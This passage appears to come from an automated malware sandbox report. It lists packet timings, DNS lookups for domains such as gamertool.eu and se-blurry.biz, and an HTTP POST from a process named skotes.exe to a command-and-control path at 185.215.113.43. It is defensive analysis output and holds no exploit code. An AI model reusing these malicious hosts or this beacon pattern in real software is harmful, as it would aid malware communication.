Dec 8, 2024 18:06:49.237163067 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.243077040 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.243093014 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.243166924 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.243174076 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.243208885 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.249212027 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.249227047 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.249290943 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.249298096 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.249334097 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.398813009 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.398833990 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.398926020 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.398935080 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.398978949 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.405220032 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.405241013 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.405291080 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.405297995 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.405323982 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.405344963 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.406992912 CET	49872	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:49.407273054 CET	49879	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:49.410897017 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.410912991 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.410960913 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.410968065 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.410995007 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.411012888 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.417257071 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.417273045 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.417433023 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.417440891 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.417484999 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.423707962 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.423723936 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.423790932 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.423799038 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.423845053 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.429724932 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.429750919 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.429820061 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.429826975 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.429868937 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.436182976 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.436198950 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.436269999 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.436276913 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.436312914 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.441838980 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.441855907 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.441956043 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.441962957 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.442017078 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.526814938 CET	80	49879	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:49.526856899 CET	80	49872	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:49.526932001 CET	49872	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:49.526951075 CET	49879	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:49.527124882 CET	49879	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:49.591150999 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.591166973 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.591372013 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.591382980 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.591422081 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.597505093 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.597520113 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.597580910 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.597588062 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.597635031 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.603946924 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.603961945 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.604022026 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.604029894 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.604069948 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.609656096 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.609672070 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.609731913 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.609739065 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.609776974 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.615964890 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.615983009 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.616041899 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.616049051 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.616090059 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.622081041 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.622097015 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.622150898 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.622159004 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.622195005 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.628556967 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.628572941 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.628624916 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.628632069 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.628675938 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.634919882 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.634933949 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.634984016 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.634989977 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.635030985 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.649240017 CET	80	49879	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:49.783252001 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.783272028 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.783340931 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.783353090 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.783399105 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.789594889 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.789612055 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.789673090 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.789680004 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.789721012 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.796021938 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.796036959 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.796094894 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.796099901 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.796149015 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.796176910 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.801700115 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.801717997 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.801774025 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.801783085 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.801824093 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.808142900 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.808160067 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.808231115 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.808238029 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.808276892 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.814280987 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.814297915 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.814341068 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.814347982 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.814384937 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.814403057 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.820497036 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.820507050 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.820611000 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.820622921 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.820707083 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.820707083 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.827091932 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.827116966 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.827147961 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.827155113 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.827192068 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.977471113 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.977487087 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.977555037 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.977576017 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.977619886 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.983690977 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.983706951 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.983788967 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.983798027 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.983833075 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.990099907 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.990114927 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.990166903 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.990174055 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.990214109 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.996093988 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.996109009 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.996161938 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:49.996169090 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:49.996207952 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.002229929 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.002245903 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.002301931 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.002310991 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.002351046 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.008373022 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.008394003 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.008433104 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.008439064 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.008465052 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.008481026 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.014575958 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.014590979 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.014643908 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.014650106 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.014688969 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.021044016 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.021059990 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.021111965 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.021121025 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.021158934 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.169466019 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.169483900 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.169565916 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.169574022 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.169615984 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.175986052 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.176001072 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.176079988 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.176086903 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.176126957 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.182203054 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.182216883 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.182269096 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.182276964 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.182315111 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.187868118 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.187884092 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.187938929 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.187944889 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.187983036 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.194322109 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.194338083 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.194394112 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.194401979 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.194442034 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.200357914 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.200375080 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.200431108 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.200438023 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.200484037 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.202097893 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.202157974 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.202162981 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.202173948 CET	443	49868	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.202214956 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.202567101 CET	49868	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.305143118 CET	49884	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.305180073 CET	443	49884	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.305280924 CET	49884	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.305511951 CET	49884	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:50.305522919 CET	443	49884	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:50.885409117 CET	80	49879	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:50.885473967 CET	49879	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:51.432991982 CET	49886	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:51.433012962 CET	443	49886	104.21.81.153	192.168.2.4
Dec 8, 2024 18:06:51.433074951 CET	49886	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:51.438627958 CET	49886	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:51.438643932 CET	443	49886	104.21.81.153	192.168.2.4
Dec 8, 2024 18:06:51.541877985 CET	443	49884	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:51.543512106 CET	49884	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:51.543535948 CET	443	49884	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:51.905865908 CET	49884	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:51.905886889 CET	443	49884	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:51.975580931 CET	443	49884	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:52.030638933 CET	49884	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:52.470360041 CET	49879	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:52.470643044 CET	49891	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:52.525360107 CET	443	49884	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:52.525437117 CET	443	49884	104.21.9.168	192.168.2.4
Dec 8, 2024 18:06:52.526038885 CET	49884	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:52.526038885 CET	49884	443	192.168.2.4	104.21.9.168
Dec 8, 2024 18:06:52.591048002 CET	80	49891	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:52.591238022 CET	49891	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:52.591255903 CET	80	49879	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:52.591532946 CET	49891	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:52.591532946 CET	49879	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:52.656233072 CET	443	49886	104.21.81.153	192.168.2.4
Dec 8, 2024 18:06:52.656290054 CET	49886	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:52.658107996 CET	49886	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:52.658116102 CET	443	49886	104.21.81.153	192.168.2.4
Dec 8, 2024 18:06:52.658344030 CET	443	49886	104.21.81.153	192.168.2.4
Dec 8, 2024 18:06:52.702517986 CET	49886	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:52.709161043 CET	49886	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:52.709180117 CET	49886	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:52.709254026 CET	443	49886	104.21.81.153	192.168.2.4
Dec 8, 2024 18:06:52.710954905 CET	80	49891	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:53.390692949 CET	443	49886	104.21.81.153	192.168.2.4
Dec 8, 2024 18:06:53.390790939 CET	443	49886	104.21.81.153	192.168.2.4
Dec 8, 2024 18:06:53.390954971 CET	49886	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:53.391146898 CET	49886	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:53.391155005 CET	443	49886	104.21.81.153	192.168.2.4
Dec 8, 2024 18:06:53.391168118 CET	49886	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:53.391171932 CET	443	49886	104.21.81.153	192.168.2.4
Dec 8, 2024 18:06:53.444001913 CET	49893	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:53.444025993 CET	443	49893	104.21.81.153	192.168.2.4
Dec 8, 2024 18:06:53.444117069 CET	49893	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:53.444345951 CET	49893	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:53.444360971 CET	443	49893	104.21.81.153	192.168.2.4
Dec 8, 2024 18:06:53.938564062 CET	80	49891	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:53.938985109 CET	49891	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:54.647885084 CET	49893	443	192.168.2.4	104.21.81.153
Dec 8, 2024 18:06:55.609433889 CET	49891	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:55.609713078 CET	49899	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:55.729182005 CET	80	49899	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:55.729197025 CET	80	49891	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:55.729284048 CET	49891	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:55.729305029 CET	49899	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:55.729573965 CET	49899	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:55.852390051 CET	80	49899	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:57.079854012 CET	80	49899	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:57.079910040 CET	49899	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:58.594475985 CET	49899	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:58.594729900 CET	49905	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:58.714692116 CET	80	49899	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:58.714775085 CET	49899	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:58.714781046 CET	80	49905	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:58.714832067 CET	49905	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:58.715006113 CET	49905	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:58.835091114 CET	80	49905	185.215.113.43	192.168.2.4
Dec 8, 2024 18:07:00.065918922 CET	80	49905	185.215.113.43	192.168.2.4
Dec 8, 2024 18:07:00.065975904 CET	49905	80	192.168.2.4	185.215.113.43

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 18:06:15.190263033 CET	51454	53	192.168.2.4	1.1.1.1
Dec 8, 2024 18:06:15.532566071 CET	53	51454	1.1.1.1	192.168.2.4
Dec 8, 2024 18:06:36.235838890 CET	54532	53	192.168.2.4	1.1.1.1
Dec 8, 2024 18:06:36.691045046 CET	53	54532	1.1.1.1	192.168.2.4
Dec 8, 2024 18:06:50.636415005 CET	59090	53	192.168.2.4	1.1.1.1
Dec 8, 2024 18:06:50.860856056 CET	53	59090	1.1.1.1	192.168.2.4
Dec 8, 2024 18:06:51.028330088 CET	58799	53	192.168.2.4	1.1.1.1
Dec 8, 2024 18:06:51.381230116 CET	53	58799	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 8, 2024 18:06:15.190263033 CET	192.168.2.4	1.1.1.1	0x33d3	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 8, 2024 18:06:36.235838890 CET	192.168.2.4	1.1.1.1	0xfe5e	Standard query (0)	gamertool.eu	A (IP address)	IN (0x0001)	false
Dec 8, 2024 18:06:50.636415005 CET	192.168.2.4	1.1.1.1	0x9456	Standard query (0)	impend-differ.biz	A (IP address)	IN (0x0001)	false
Dec 8, 2024 18:06:51.028330088 CET	192.168.2.4	1.1.1.1	0x74c	Standard query (0)	se-blurry.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 8, 2024 18:06:15.532566071 CET	1.1.1.1	192.168.2.4	0x33d3	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false
Dec 8, 2024 18:06:15.532566071 CET	1.1.1.1	192.168.2.4	0x33d3	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false
Dec 8, 2024 18:06:36.691045046 CET	1.1.1.1	192.168.2.4	0xfe5e	No error (0)	gamertool.eu		104.21.9.168	A (IP address)	IN (0x0001)	false
Dec 8, 2024 18:06:36.691045046 CET	1.1.1.1	192.168.2.4	0xfe5e	No error (0)	gamertool.eu		172.67.161.29	A (IP address)	IN (0x0001)	false
Dec 8, 2024 18:06:50.860856056 CET	1.1.1.1	192.168.2.4	0x9456	Name error (3)	impend-differ.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 8, 2024 18:06:51.381230116 CET	1.1.1.1	192.168.2.4	0x74c	No error (0)	se-blurry.biz		104.21.81.153	A (IP address)	IN (0x0001)	false
Dec 8, 2024 18:06:51.381230116 CET	1.1.1.1	192.168.2.4	0x74c	No error (0)	se-blurry.biz		172.67.162.65	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

gamertool.eu

se-blurry.biz

185.215.113.43

31.41.244.11

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49753	185.215.113.43	80	7672	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 18:06:04.177908897 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 8, 2024 18:06:05.522176027 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 17:06:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
